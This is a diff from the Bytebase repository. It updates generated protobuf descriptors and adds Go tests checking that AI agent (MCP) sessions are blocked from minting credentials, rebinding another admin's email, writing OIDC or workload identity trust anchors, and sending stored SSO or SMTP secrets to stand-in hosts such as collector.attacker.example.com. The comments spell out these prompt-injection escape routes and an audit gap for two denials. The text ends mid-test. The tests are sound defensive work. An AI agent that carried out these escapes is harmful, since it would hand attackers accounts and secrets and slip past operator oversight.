+ "\x16CreateWorkloadIdentity\x12*.bytebase.v1.CreateWorkloadIdentityRequest\x1a\x1d.bytebase.v1.WorkloadIdentity\"\xe9\x01\xdaA-parent,workload_identity,workload_identity_id\x8a\xea0\x1cbb.workloadIdentities.create\x90\xea0\x01\x98\xea0\x01\xa0\xea0\x03\xa8\xea0\x06\x82\xd3\xe4\x93\x02\x82\x01:\x11workload_identityZA:\x11workload_identity\",/v1/{parent=workspaces/*}/workloadIdentities\"*/v1/{parent=projects/*}/workloadIdentities\x12\xae\x01\n" +
"\x13GetWorkloadIdentity\x12'.bytebase.v1.GetWorkloadIdentityRequest\x1a\x1d.bytebase.v1.WorkloadIdentity\"O\xdaA\x04name\x8a\xea0\x19bb.workloadIdentities.get\x90\xea0\x01\x82\xd3\xe4\x93\x02!\x12\x1f/v1/{name=workloadIdentities/*}\x12\x81\x02\n" +
- "\x16ListWorkloadIdentities\x12*.bytebase.v1.ListWorkloadIdentitiesRequest\x1a+.bytebase.v1.ListWorkloadIdentitiesResponse\"\x8d\x01\xdaA\x06parent\x8a\xea0\x1abb.workloadIdentities.list\x90\xea0\x01\x82\xd3\xe4\x93\x02\\Z.\x12,/v1/{parent=workspaces/*}/workloadIdentities\x12*/v1/{parent=projects/*}/workloadIdentities\x12\xfa\x01\n" +
- "\x16UpdateWorkloadIdentity\x12*.bytebase.v1.UpdateWorkloadIdentityRequest\x1a\x1d.bytebase.v1.WorkloadIdentity\"\x94\x01\xdaA\x1dworkload_identity,update_mask\x8a\xea0\x1cbb.workloadIdentities.update\x90\xea0\x01\x98\xea0\x01\x82\xd3\xe4\x93\x02F:\x11workload_identity21/v1/{workload_identity.name=workloadIdentities/*}\x12\xb4\x01\n" +
+ "\x16ListWorkloadIdentities\x12*.bytebase.v1.ListWorkloadIdentitiesRequest\x1a+.bytebase.v1.ListWorkloadIdentitiesResponse\"\x8d\x01\xdaA\x06parent\x8a\xea0\x1abb.workloadIdentities.list\x90\xea0\x01\x82\xd3\xe4\x93\x02\\Z.\x12,/v1/{parent=workspaces/*}/workloadIdentities\x12*/v1/{parent=projects/*}/workloadIdentities\x12\x82\x02\n" +
+ "\x16UpdateWorkloadIdentity\x12*.bytebase.v1.UpdateWorkloadIdentityRequest\x1a\x1d.bytebase.v1.WorkloadIdentity\"\x9c\x01\xdaA\x1dworkload_identity,update_mask\x8a\xea0\x1cbb.workloadIdentities.update\x90\xea0\x01\x98\xea0\x01\xa0\xea0\x03\xa8\xea0\x06\x82\xd3\xe4\x93\x02F:\x11workload_identity21/v1/{workload_identity.name=workloadIdentities/*}\x12\xb4\x01\n" +
"\x16DeleteWorkloadIdentity\x12*.bytebase.v1.DeleteWorkloadIdentityRequest\x1a\x16.google.protobuf.Empty\"V\xdaA\x04name\x8a\xea0\x1cbb.workloadIdentities.delete\x90\xea0\x01\x98\xea0\x01\x82\xd3\xe4\x93\x02!*\x1f/v1/{name=workloadIdentities/*}\x12\xc6\x01\n" +
"\x18UndeleteWorkloadIdentity\x12,.bytebase.v1.UndeleteWorkloadIdentityRequest\x1a\x1d.bytebase.v1.WorkloadIdentity\"]\x8a\xea0\x1ebb.workloadIdentities.undelete\x90\xea0\x01\x98\xea0\x01\x82\xd3\xe4\x93\x02-:\x01*\"(/v1/{name=workloadIdentities/*}:undeleteB\xb2\x01\n" +
"\x0fcom.bytebase.v1B\x1cWorkloadIdentityServiceProtoP\x01Z4github.com/bytebase/bytebase/backend/generated-go/v1\xa2\x02\x03BXX\xaa\x02\vBytebase.V1\xca\x02\vBytebase\\V1\xe2\x02\x17Bytebase\\V1\\GPBMetadata\xea\x02\fBytebase::V1b\x06proto3"
diff --git a/backend/generated-go/v1/workspace_service.pb.go b/backend/generated-go/v1/workspace_service.pb.go
index ed5fc5ccad..efdfbce949 100644
--- a/backend/generated-go/v1/workspace_service.pb.go
+++ b/backend/generated-go/v1/workspace_service.pb.go
@@ -472,16 +472,16 @@ const file_v1_workspace_service_proto_rawDesc = "" +
"\vupdate_mask\x18\x02 \x01(\v2\x1a.google.protobuf.FieldMaskR\n" +
"updateMask\"0\n" +
"\x15LeaveWorkspaceRequest\x12\x17\n" +
- "\x04name\x18\x01 \x01(\tB\x03\xe0A\x02R\x04name2\xef\t\n" +
+ "\x04name\x18\x01 \x01(\tB\x03\xe0A\x02R\x04name2\xff\t\n" +
"\x10WorkspaceService\x12m\n" +
"\fGetWorkspace\x12 .bytebase.v1.GetWorkspaceRequest\x1a\x16.bytebase.v1.Workspace\"#\x80\xea0\x01\x82\xd3\xe4\x93\x02\x19\x12\x17/v1/{name=workspaces/*}\x12u\n" +
"\x0eListWorkspaces\x12\".bytebase.v1.ListWorkspacesRequest\x1a#.bytebase.v1.ListWorkspacesResponse\"\x1a\x90\xea0\x02\x82\xd3\xe4\x93\x02\x10\x12\x0e/v1/workspaces\x12\x9c\x01\n" +
"\x0fUpdateWorkspace\x12#.bytebase.v1.UpdateWorkspaceRequest\x1a\x16.bytebase.v1.Workspace\"L\x8a\xea0\x14bb.workspaces.update\x90\xea0\x01\x98\xea0\x01\x82\xd3\xe4\x93\x02&:\x01*2!/v1/{workspace.name=workspaces/*}\x12\x9c\x01\n" +
- "\fGetIamPolicy\x12 .bytebase.v1.GetIamPolicyRequest\x1a\x16.bytebase.v1.IamPolicy\"R\x8a\xea0\x1abb.workspaces.getIamPolicy\x90\xea0\x01\x82\xd3\xe4\x93\x02*\x12(/v1/{resource=workspaces/*}:getIamPolicy\x12\x97\x01\n" +
- "\x0fDeleteWorkspace\x12#.bytebase.v1.DeleteWorkspaceRequest\x1a\x1a.bytebase.v1.LoginResponse\"C\x8a\xea0\x14bb.workspaces.delete\x90\xea0\x01\x98\xea0\x01\xa0\xea0\x03\x82\xd3\xe4\x93\x02\x19*\x17/v1/{name=workspaces/*}\x12\x86\x01\n" +
- "\x0eLeaveWorkspace\x12\".bytebase.v1.LeaveWorkspaceRequest\x1a\x1a.bytebase.v1.LoginResponse\"4\x90\xea0\x02\x98\xea0\x01\xa0\xea0\x03\x82\xd3\xe4\x93\x02\":\x01*\"\x1d/v1/{name=workspaces/*}:leave\x12\xa3\x01\n" +
- "\fSetIamPolicy\x12 .bytebase.v1.SetIamPolicyRequest\x1a\x16.bytebase.v1.IamPolicy\"Y\x8a\xea0\x1abb.workspaces.setIamPolicy\x90\xea0\x01\x98\xea0\x01\x82\xd3\xe4\x93\x02-:\x01*\"(/v1/{resource=workspaces/*}:setIamPolicy\x12\xed\x01\n" +
- "\x18RotateDirectorySyncToken\x12,.bytebase.v1.RotateDirectorySyncTokenRequest\x1a-.bytebase.v1.RotateDirectorySyncTokenResponse\"t\xdaA\x04name\x8a\xea0&bb.workspaces.rotateDirectorySyncToken\x90\xea0\x01\x98\xea0\x01\x82\xd3\xe4\x93\x025:\x01*\"0/v1/{name=workspaces/*}:rotateDirectorySyncTokenB\xab\x01\n" +
+ "\fGetIamPolicy\x12 .bytebase.v1.GetIamPolicyRequest\x1a\x16.bytebase.v1.IamPolicy\"R\x8a\xea0\x1abb.workspaces.getIamPolicy\x90\xea0\x01\x82\xd3\xe4\x93\x02*\x12(/v1/{resource=workspaces/*}:getIamPolicy\x12\x9b\x01\n" +
+ "\x0fDeleteWorkspace\x12#.bytebase.v1.DeleteWorkspaceRequest\x1a\x1a.bytebase.v1.LoginResponse\"G\x8a\xea0\x14bb.workspaces.delete\x90\xea0\x01\x98\xea0\x01\xa0\xea0\x03\xa8\xea0\x05\x82\xd3\xe4\x93\x02\x19*\x17/v1/{name=workspaces/*}\x12\x8a\x01\n" +
+ "\x0eLeaveWorkspace\x12\".bytebase.v1.LeaveWorkspaceRequest\x1a\x1a.bytebase.v1.LoginResponse\"8\x90\xea0\x02\x98\xea0\x01\xa0\xea0\x03\xa8\xea0\x05\x82\xd3\xe4\x93\x02\":\x01*\"\x1d/v1/{name=workspaces/*}:leave\x12\xa3\x01\n" +
+ "\fSetIamPolicy\x12 .bytebase.v1.SetIamPolicyRequest\x1a\x16.bytebase.v1.IamPolicy\"Y\x8a\xea0\x1abb.workspaces.setIamPolicy\x90\xea0\x01\x98\xea0\x01\x82\xd3\xe4\x93\x02-:\x01*\"(/v1/{resource=workspaces/*}:setIamPolicy\x12\xf5\x01\n" +
+ "\x18RotateDirectorySyncToken\x12,.bytebase.v1.RotateDirectorySyncTokenRequest\x1a-.bytebase.v1.RotateDirectorySyncTokenResponse\"|\xdaA\x04name\x8a\xea0&bb.workspaces.rotateDirectorySyncToken\x90\xea0\x01\x98\xea0\x01\xa0\xea0\x03\xa8\xea0\x06\x82\xd3\xe4\x93\x025:\x01*\"0/v1/{name=workspaces/*}:rotateDirectorySyncTokenB\xab\x01\n" +
"\x0fcom.bytebase.v1B\x15WorkspaceServiceProtoP\x01Z4github.com/bytebase/bytebase/backend/generated-go/v1\xa2\x02\x03BXX\xaa\x02\vBytebase.V1\xca\x02\vBytebase\\V1\xe2\x02\x17Bytebase\\V1\\GPBMetadata\xea\x02\fBytebase::V1b\x06proto3"
var (
diff --git a/backend/tests/mcp_forbidden_class_test.go b/backend/tests/mcp_forbidden_class_test.go
index 0b263384d4..b34d13ac8c 100644
--- a/backend/tests/mcp_forbidden_class_test.go
+++ b/backend/tests/mcp_forbidden_class_test.go
@@ -129,15 +129,9 @@ func TestMCPCannotChangeOwnPasswordAndLogIn(t *testing.T) {
// investigating, so both denials must be on the audit page — including
// Login, which the handler never reached.
deniedRows := func(method string) []*v1pb.AuditLog {
- resp, err := ctl.auditLogServiceClient.SearchAuditLogs(ctx, connect.NewRequest(&v1pb.SearchAuditLogsRequest{
- Parent: workspace,
- Filter: `method == "` + method + `"`,
- OrderBy: "create_time desc",
- }))
- a.NoError(err)
var rows []*v1pb.AuditLog
- for _, row := range resp.Msg.AuditLogs {
- if row.User == "users/"+agentEmail && row.McpDelegation != nil {
+ for _, row := range deniedMCPRows(ctx, t, ctl, workspace, method) {
+ if row.User == "users/"+agentEmail {
rows = append(rows, row)
}
}
diff --git a/backend/tests/mcp_forbidden_credential_mints_test.go b/backend/tests/mcp_forbidden_credential_mints_test.go
new file mode 100644
index 0000000000..5dac90454d
--- /dev/null
+++ b/backend/tests/mcp_forbidden_credential_mints_test.go
@@ -0,0 +1,934 @@
+package tests
+
+import (
+ "context"
+ "net/http"
+ "strings"
+ "testing"
+
+ "connectrpc.com/connect"
+ "github.com/modelcontextprotocol/go-sdk/mcp"
+ "github.com/stretchr/testify/require"
+ "google.golang.org/protobuf/types/known/fieldmaskpb"
+
+ v1pb "github.com/bytebase/bytebase/backend/generated-go/v1"
+)
+
+// deniedMCPRows returns the audit rows an MCP session produced for one method.
+// Filtering on McpDelegation is what makes a row attributable to the agent
+// rather than to the same human working in the console.
+func deniedMCPRows(ctx context.Context, t *testing.T, ctl *controller, workspace, method string) []*v1pb.AuditLog {
+ t.Helper()
+ resp, err := ctl.auditLogServiceClient.SearchAuditLogs(ctx, connect.NewRequest(&v1pb.SearchAuditLogsRequest{
+ Parent: workspace,
+ Filter: `method == "` + method + `"`,
+ OrderBy: "create_time desc",
+ }))
+ require.NoError(t, err)
+ var rows []*v1pb.AuditLog
+ for _, row := range resp.Msg.AuditLogs {
+ if row.McpDelegation != nil {
+ rows = append(rows, row)
+ }
+ }
+ return rows
+}
+
+// searchAPIOnSession runs the search_api tool and returns the text an agent
+// would read, which is the only place discovery results are surfaced.
+func searchAPIOnSession(ctx context.Context, t *testing.T, session *mcp.ClientSession, arguments map[string]any) string {
+ t.Helper()
+ result, err := session.CallTool(ctx, &mcp.CallToolParams{Name: "search_api", Arguments: arguments})
+ require.NoError(t, err)
+ var sb strings.Builder
+ for _, content := range result.Content {
+ if text, ok := content.(*mcp.TextContent); ok {
+ sb.WriteString(text.Text)
+ }
+ }
+ return sb.String()
+}
+
+// TestMCPCannotMintCredentialsForOtherPrincipals runs the batch of escapes that
+// the caller's-own-credential guards never reach.
+//
+// #21152 forbade the methods that rewrite or re-issue the CALLER's credential.
+// Every one of those is eventually contained by acting on that one principal:
+// revoke the OAuth grant, flip the workspace MCP switch, deactivate the human.
+// The five calls below leave someone holding a principal that is not the
+// caller, so none of those levers touch what they leave behind:
+//
+// - CreateServiceAccount returns a plaintext bbs_ key for a brand new
+// principal (service_account_service.go, `result.ServiceKey = serviceKey`).
+// - UpdateServiceAccount{service_key} re-keys an EXISTING privileged account
+// and returns that plaintext too, with no proof of the old key.
+// - RotateDirectorySyncToken returns the plaintext SCIM token, which
+// authenticates directory writes outside the v1 API entirely.
+// - CreateUser makes a fresh end user with a password the caller chose — the
+// defect UpdateUser had, one method over, aimed at a new account instead of
+// the caller's own.
+// - UpdateEmail is that same "one method over" a second time, and it is the
+// one this batch found rather than was handed: it resolves its target from
+// the request rather than from the caller (user_service.go, GetUserByEmail
+// on request.Msg.Name), so it rebinds ANY account — a workspace admin's —
+// to an address the caller picked. RequestPasswordReset then mails the
+// reset code to whatever address that account now carries, and
+// ResetPassword sets the password for the account it resolves by email.
+// Both are allow_without_credential, so the attacker never needs an MCP
+// session for the second half: the agent moves the mailbox, and the
+// takeover completes from any browser.
+//
+// Every one is workspace-admin gated, and that is the target scenario rather
+// than the mitigation: an admin runs the agent, and prompt injection does not
+// need the agent to be hostile.
+//
+// The RED state is what the assertions are shaped around. With the annotations
+// removed, the first call answers 200 with a bbs_ key in the body, the second
+// with another one, the third with a SCIM token, the fourth creates a user
+// whose password logs in, and the fifth moves another admin's account onto an
+// address the session picked. All five run and all five are logged before
+// anything is asserted, so an unguarded build reports the whole exposure
+// instead of stopping at the first hit.
+func TestMCPCannotMintCredentialsForOtherPrincipals(t *testing.T) {
+ t.Parallel()
+ a := require.New(t)
+ ctx := context.Background()
+ ctl := &controller{}
+
+ ctx, err := ctl.StartServerWithExternalPg(ctx)
+ a.NoError(err)
+ defer ctl.Close(ctx)
+
+ workspace, err := ctl.workspaceServiceClient.GetWorkspace(ctx, connect.NewRequest(&v1pb.GetWorkspaceRequest{
+ Name: "workspaces/-",
+ }))
+ a.NoError(err)
+ workspaceName := workspace.Msg.Name
+
+ // A service account the session did not create, so the re-key probe is
+ // about taking over an existing privileged principal rather than about
+ // finishing a creation it just made.
+ const existingSAID = "ci-deployer"
+ existing, err := ctl.serviceAccountServiceClient.CreateServiceAccount(ctx, connect.NewRequest(&v1pb.CreateServiceAccountRequest{
+ Parent: workspaceName,
+ ServiceAccountId: existingSAID,
+ ServiceAccount: &v1pb.ServiceAccount{Title: "ci deployer"},
+ }))
+ a.NoError(err)
+ a.True(strings.HasPrefix(existing.Msg.ServiceKey, "bbs_"),
+ "precondition: the console really does hand back a plaintext key")
+ existingSAName := existing.Msg.Name
+
+ // A second human, so the UpdateEmail probe is unambiguously about another
+ // principal rather than about the caller's own account.
+ const victimEmail = "[email protected]"
+ const attackerEmail = "[email protected]"
+ _, err = ctl.userServiceClient.CreateUser(ctx, connect.NewRequest(&v1pb.CreateUserRequest{
+ User: &v1pb.User{
+ Title: "victim admin",
+ Email: victimEmail,
+ Password: "1024bytebase",
+ },
+ }))
+ a.NoError(err)
+
+ const mintedSAID = "agent-minted"
+ const newUserEmail = "[email protected]"
+ const newUserPassword = "1024bytebase"
+
+ session := openMCPSession(ctx, t, ctl, ctl.authInterceptor.token)
+ defer session.Close()
+
+ created := callAPIOnSession(ctx, t, session, "ServiceAccountService/CreateServiceAccount", map[string]any{
+ "parent": workspaceName,
+ "serviceAccountId": mintedSAID,
+ "serviceAccount": map[string]any{"title": "agent minted"},
+ })
+ rekeyed := callAPIOnSession(ctx, t, session, "ServiceAccountService/UpdateServiceAccount", map[string]any{
+ "serviceAccount": map[string]any{"name": existingSAName},
+ "updateMask": "serviceKey",
+ })
+ rotated := callAPIOnSession(ctx, t, session, "WorkspaceService/RotateDirectorySyncToken", map[string]any{
+ "name": workspaceName,
+ })
+ newUser := callAPIOnSession(ctx, t, session, "UserService/CreateUser", map[string]any{
+ "user": map[string]any{
+ "email": newUserEmail,
+ "password": newUserPassword,
+ "title": "agent created",
+ },
+ })
+
+ t.Logf("MCP CreateServiceAccount → status=%d error=%q serviceKey=%q",
+ created.Status, created.Error, created.Response.ServiceKey)
+ t.Logf("MCP UpdateServiceAccount{service_key} → status=%d error=%q serviceKey=%q",
+ rekeyed.Status, rekeyed.Error, rekeyed.Response.ServiceKey)
+ t.Logf("MCP RotateDirectorySyncToken → status=%d error=%q token=%q",
+ rotated.Status, rotated.Error, rotated.Response.Token)
+ rebound := callAPIOnSession(ctx, t, session, "UserService/UpdateEmail", map[string]any{
+ "name": "users/" + victimEmail,
+ "email": attackerEmail,
+ })
+ t.Logf("MCP CreateUser → status=%d error=%q", newUser.Status, newUser.Error)
+ t.Logf("MCP UpdateEmail{victim → attacker} → status=%d error=%q", rebound.Status, rebound.Error)
+
+ for name, out := range map[string]mcpCallResult{
+ "CreateServiceAccount": created,
+ "UpdateServiceAccount": rekeyed,
+ "RotateDirectorySyncToken": rotated,
+ "CreateUser": newUser,
+ "UpdateEmail": rebound,
+ } {
+ a.Equal(http.StatusForbidden, out.Status, "%s must be refused before dispatch", name)
+ a.Contains(out.Error, "not available to MCP sessions",
+ "%s must be refused by the FORBIDDEN gate, not by a handler precondition", name)
+ a.Contains(out.Error, "principal other than the caller",
+ "%s must name the reason for this class, not a caller's-own-credential one", name)
+ }
+ a.Empty(created.Response.ServiceKey, "an MCP session must never receive a service key")
+ a.Empty(rekeyed.Response.ServiceKey, "an MCP session must never receive a rotated service key")
+ a.Empty(rotated.Response.Token, "an MCP session must never receive the SCIM token")
+
+ // The refusal has to come before the store write, not after it. These are
+ // what discriminate a gate that denies ahead of dispatch from one that
+ // denies once the credential already exists.
+ accounts, err := ctl.serviceAccountServiceClient.ListServiceAccounts(ctx, connect.NewRequest(&v1pb.ListServiceAccountsRequest{
+ Parent: workspaceName,
+ }))
+ a.NoError(err)
+ for _, sa := range accounts.Msg.ServiceAccounts {
+ a.NotContains(sa.Email, mintedSAID, "the service account must never have been created")
+ }
+ _, err = ctl.authServiceClient.Login(ctx, connect.NewRequest(&v1pb.LoginRequest{
+ Email: newUserEmail,
+ Password: newUserPassword,
+ }))
+ a.Error(err, "the account the MCP session tried to create must not exist")
+
+ // The victim's login identity is still the victim's. This is the assertion
+ // that would fail loudest unguarded: the account would answer to the
+ // attacker's address, and every reset code for it would go there.
+ stillVictim, err := ctl.userServiceClient.GetUser(ctx, connect.NewRequest(&v1pb.GetUserRequest{
+ Name: "users/" + victimEmail,
+ }))
+ a.NoError(err, "the victim's account must still answer to its own address")
+ a.Equal(victimEmail, stillVictim.Msg.Email)
+ _, err = ctl.userServiceClient.GetUser(ctx, connect.NewRequest(&v1pb.GetUserRequest{
+ Name: "users/" + attackerEmail,
+ }))
+ a.Error(err, "the address the MCP session tried to rebind to must own no account")
+
+ // All five carry the audit annotation, so all five denials are on the
+ // operator's audit page — a denied credential mint is precisely the event
+ // worth investigating.
+ for method, label := range map[string]string{
+ "/bytebase.v1.ServiceAccountService/CreateServiceAccount": "CreateServiceAccount",
+ "/bytebase.v1.ServiceAccountService/UpdateServiceAccount": "UpdateServiceAccount",
+ "/bytebase.v1.WorkspaceService/RotateDirectorySyncToken": "RotateDirectorySyncToken",
+ "/bytebase.v1.UserService/CreateUser": "CreateUser",
+ "/bytebase.v1.UserService/UpdateEmail": "UpdateEmail",
+ } {
+ rows := deniedMCPRows(ctx, t, ctl, workspaceName, method)
+ a.Len(rows, 1, "the denied %s must produce exactly one audit row", label)
+ a.Equal(int32(connect.CodePermissionDenied), rows[0].Status.GetCode(),
+ "the %s row must record the denial, not a success", label)
+ a.NotEmpty(rows[0].McpDelegation.GetCorrelationId(),
+ "the %s denial must be correlatable back to the agent session", label)
+ }
+
+ // The console keeps working. The gate lives on the internal MCP chain, so
+ // the same admin doing the same thing signed in is untouched.
+ stillWorks, err := ctl.serviceAccountServiceClient.CreateServiceAccount(ctx, connect.NewRequest(&v1pb.CreateServiceAccountRequest{
+ Parent: workspaceName,
+ ServiceAccountId: "console-made",
+ ServiceAccount: &v1pb.ServiceAccount{Title: "console made"},
+ }))
+ a.NoError(err, "a normal session must still be able to create a service account")
+ a.True(strings.HasPrefix(stillWorks.Msg.ServiceKey, "bbs_"))
+}
+
+// TestMCPCannotWriteTrustAnchorsOrShipStoredSecrets covers the half of the class where no
+// credential appears in the response at all — the session instead arranges for
+// one to be issued later, or ships an existing secret out of the process.
+//
+// - Create/UpdateWorkloadIdentity choose the OIDC issuer, audience and
+// subject that AuthService/ExchangeToken validates against
+// (auth_service.go, `wif.ValidateToken(ctx, request.Token, wicConfig)`).
+// ExchangeToken is allow_without_credential, so once the anchor is written
+// the Bytebase token is minted from outside, with no MCP session involved
+// and nothing left to revoke.
+// - Create/UpdateIdentityProvider are the same move against SSO login.
+// - TestIdentityProvider substitutes the STORED client secret whenever the
+// request omits it (idp_service.go, the two `ClientSecret == ""` branches)
+// and then talks to the token URL the caller supplied. The secret leaves on
+// the caller's chosen wire; nothing comes back in the body, which is why
+// the response assertions above cannot be the test for it.
+// - TestEmailSetting is that method's twin, found by sweeping for the shape
+// rather than by being reported: it substitutes the stored SMTP password
+// the same way (setting_service.go, `smtp.Password == ""`) and then
+// authenticates to the host and port the caller named. SMTP is not
+// incidental infrastructure here — it is the channel that delivers password
+// resets and email login codes, which is the credential-reset flow #21152
+// already put out of an agent's reach.
+//
+// The reads of both services stay served on purpose, and this test pins that:
+// every read conversion blanks the secrets, and ListIdentityProviders is the
+// unauthenticated login-page endpoint. They are also what proves the writes
+// never landed.
+func TestMCPCannotWriteTrustAnchorsOrShipStoredSecrets(t *testing.T) {
+ t.Parallel()
+ a := require.New(t)
+ ctx := context.Background()
+ ctl := &controller{}
+
+ ctx, err := ctl.StartServerWithExternalPg(ctx)
+ a.NoError(err)
+ defer ctl.Close(ctx)
+
+ workspace, err := ctl.workspaceServiceClient.GetWorkspace(ctx, connect.NewRequest(&v1pb.GetWorkspaceRequest{
+ Name: "workspaces/-",
+ }))
+ a.NoError(err)
+ workspaceName := workspace.Msg.Name
+
+ session := openMCPSession(ctx, t, ctl, ctl.authInterceptor.token)
+ defer session.Close()
+
+ const idpID = "agent-idp"
+ idpBody := map[string]any{
+ "identityProviderId": idpID,
+ "identityProvider": map[string]any{
+ "title": "agent idp",
+ "domain": "attacker.example.com",
+ "type": "OIDC",
+ "config": map[string]any{
+ "oidcConfig": map[string]any{
+ "issuer": "https://attacker.example.com",
+ "clientId": "agent",
+ "clientSecret": "agent-secret",
+ "fieldMapping": map[string]any{"identifier": "email"},
+ },
+ },
+ },
+ }
+ createdIDP := callAPIOnSession(ctx, t, session, "IdentityProviderService/CreateIdentityProvider", idpBody)
+ updatedIDP := callAPIOnSession(ctx, t, session, "IdentityProviderService/UpdateIdentityProvider", map[string]any{
+ "identityProvider": map[string]any{
+ "name": "idps/" + idpID,
+ "title": "agent idp",
+ "domain": "attacker.example.com",
+ "type": "OIDC",
+ "config": idpBody["identityProvider"].(map[string]any)["config"],
+ },
+ "updateMask": "config",
+ "allowMissing": true,
+ })
+ // The exfiltration probe: no client secret in the request, so the handler
+ // would fetch the stored one and carry it to this issuer.
+ testedIDP := callAPIOnSession(ctx, t, session, "IdentityProviderService/TestIdentityProvider", map[string]any{
+ "identityProvider": map[string]any{
+ "name": "idps/" + idpID,
+ "type": "OIDC",
+ "config": map[string]any{
+ "oidcConfig": map[string]any{
+ "issuer": "https://collector.attacker.example.com",
+ "clientId": "agent",
+ "fieldMapping": map[string]any{"identifier": "email"},
+ },
+ },
+ },
+ "oidcContext": map[string]any{"code": "anything"},
+ })
+
+ const wiID = "agent-workload"
+ wiConfig := map[string]any{
+ "providerType": "GITHUB",
+ "issuerUrl": "https://token.actions.githubusercontent.com",
+ "allowedAudiences": []any{"bytebase"},
+ "subjectPattern": "repo:attacker/repo:ref:refs/heads/main",
+ }
+ createdWI := callAPIOnSession(ctx, t, session, "WorkloadIdentityService/CreateWorkloadIdentity", map[string]any{
+ "parent": workspaceName,
+ "workloadIdentityId": wiID,
+ "workloadIdentity": map[string]any{
+ "title": "agent workload",
+ "workloadIdentityConfig": wiConfig,
+ },
+ })
+ updatedWI := callAPIOnSession(ctx, t, session, "WorkloadIdentityService/UpdateWorkloadIdentity", map[string]any{
+ "workloadIdentity": map[string]any{
+ "name": "workloadIdentities/" + wiID + "@workload.bytebase.com",
+ "workloadIdentityConfig": wiConfig,
+ },
+ "updateMask": "workloadIdentityConfig",
+ })
+
+ // The same exfiltration shape one service over: no password in the request,
+ // so the handler would fetch the stored one and authenticate to this host.
+ testedEmail := callAPIOnSession(ctx, t, session, "SettingService/TestEmailSetting", map[string]any{
+ "parent": workspaceName,
+ "emailSetting": map[string]any{
+ "from": "[email protected]",
+ "type": "SMTP",
+ "smtp": map[string]any{
+ "host": "smtp.attacker.example.com",
+ "port": 587,
+ "username": "collector",
+ "encryption": "ENCRYPTION_NONE",
+ "authentication": "PLAIN",
+ },
+ },
+ })
+
+ probes := map[string]mcpCallResult{
+ "CreateIdentityProvider": createdIDP,
+ "UpdateIdentityProvider": updatedIDP,
+ "TestIdentityProvider": testedIDP,
+ "CreateWorkloadIdentity": createdWI,
+ "UpdateWorkloadIdentity": updatedWI,
+ "TestEmailSetting": testedEmail,
+ }
+ for name, out := range probes {
+ t.Logf("MCP %s → status=%d error=%q", name, out.Status, out.Error)
+ }
+ for name, out := range probes {
+ a.Equal(http.StatusForbidden, out.Status, "%s must be refused before dispatch", name)
+ a.Contains(out.Error, "not available to MCP sessions",
+ "%s must be refused by the FORBIDDEN gate", name)
+ a.Contains(out.Error, "principal other than the caller",
+ "%s must name this class's reason", name)
+ }
+
+ // Nothing landed. The agent's own read answers this, which is the point of
+ // leaving it served: it is legitimate work, it carries no secret, and here
+ // it is also the instrument. Reading the listing rather than just its
+ // status is what discriminates a gate that refuses before dispatch from one
+ // that refuses after the identity provider is written.
+ idps := callAPIOnSession(ctx, t, session, "IdentityProviderService/ListIdentityProviders", map[string]any{})
+ a.Equal(http.StatusOK, idps.Status, "the read stays served — it blanks every secret before returning")
+ a.NotContains(idps.RawResponse, idpID, "the identity provider must never have been created")
+ a.NotContains(idps.RawResponse, "attacker.example.com",
+ "no part of the attacker's SSO config may have reached the store")
+ wis, err := ctl.workloadIdentityServiceClient.ListWorkloadIdentities(ctx, connect.NewRequest(&v1pb.ListWorkloadIdentitiesRequest{
+ Parent: workspaceName,
+ }))
+ a.NoError(err)
+ for _, wi := range wis.Msg.WorkloadIdentities {
+ a.NotContains(wi.Email, wiID, "the workload identity must never have been written")
+ }
+
+ // Four of the six carry the audit annotation and produce a denial row.
+ for method, label := range map[string]string{
+ "/bytebase.v1.IdentityProviderService/CreateIdentityProvider": "CreateIdentityProvider",
+ "/bytebase.v1.IdentityProviderService/UpdateIdentityProvider": "UpdateIdentityProvider",
+ "/bytebase.v1.WorkloadIdentityService/CreateWorkloadIdentity": "CreateWorkloadIdentity",
+ "/bytebase.v1.WorkloadIdentityService/UpdateWorkloadIdentity": "UpdateWorkloadIdentity",
+ } {
+ rows := deniedMCPRows(ctx, t, ctl, workspaceName, method)
+ a.Len(rows, 1, "the denied %s must produce exactly one audit row", label)
+ a.Equal(int32(connect.CodePermissionDenied), rows[0].Status.GetCode(),
+ "the %s row must record the denial", label)
+ }
+
+ // The two Test methods do not, and that gap is worth stating rather than
+ // leaving to be discovered. needAudit reads the audit annotation and
+ // nothing else, and neither has one — so the two methods in this batch that
+ // would carry a stored secret to an address the agent chose are the two
+ // refused silently. Not fixed here: the typed policy-denial record that
+ // bypasses needAudit is 1b-2's, and when it lands these assertions are what
+ // tell whoever writes it that these methods are now covered.
+ //
+ // The zeroes are only meaningful because the four rows above came back from
+ // this same helper on this same workspace: the query works, and these two
+ // methods genuinely produced nothing.
+ a.Empty(deniedMCPRows(ctx, t, ctl, workspaceName, "/bytebase.v1.IdentityProviderService/TestIdentityProvider"),
+ "TestIdentityProvider carries no audit annotation, so its denial is silent — 1b-2's typed denial record closes this")
+ a.Empty(deniedMCPRows(ctx, t, ctl, workspaceName, "/bytebase.v1.SettingService/TestEmailSetting"),
+ "TestEmailSetting carries no audit annotation either — same gap, same fix")
+}
+
+// TestMCPCannotRetargetADataSource covers the same "carry a stored secret to a
+// host the caller named" shape as the two Test methods, against the database's
+// credentials rather than Bytebase's own.
+//
+// UpdateDataSource merges a partial request onto the STORED, already-decrypted
+// data source: an update_mask naming only `host` keeps the stored password,
+// ssl_key and ssh_private_key. With validate_only it dials the caller's host
+// immediately (checkAndLogInstanceConnection → GetDataSourceDriver → Ping) and
+// persists nothing, so the exfiltration leaves no trace in the instance record.
+// Nothing filters the host on that path.
+//
+// A database user is a principal other than the caller, the same way the SMTP
+// account behind TestEmailSetting is, so this shares their reason.
+//
+// The instance here needs no live database: CreateInstance only connects when
+// validate_only is set, so a fabricated host with a stored password is enough
+// to give the retarget something to inherit. In the RED state this probe
+// reports the dial to the attacker host rather than a refusal.
+func TestMCPCannotRetargetADataSource(t *testing.T) {
+ t.Parallel()
+ a := require.New(t)
+ ctx := context.Background()
+ ctl := &controller{}
+
+ ctx, err := ctl.StartServerWithExternalPg(ctx)
+ a.NoError(err)
+ defer ctl.Close(ctx)
+
+ const storedDBPassword = "stored-db-secret"
+ const realHost = "db.internal.example.com"
+ const dataSourceID = "admin-ds"
+ instance, err := ctl.instanceServiceClient.CreateInstance(ctx, connect.NewRequest(&v1pb.CreateInstanceRequest{
+ InstanceId: "retarget-probe",
+ Instance: &v1pb.Instance{
+ Title: "retarget probe",
+ Engine: v1pb.Engine_POSTGRES,
+ Environment: new("environments/prod"),
+ DataSources: []*v1pb.DataSource{{
+ Id: dataSourceID,
+ Type: v1pb.DataSourceType_ADMIN,
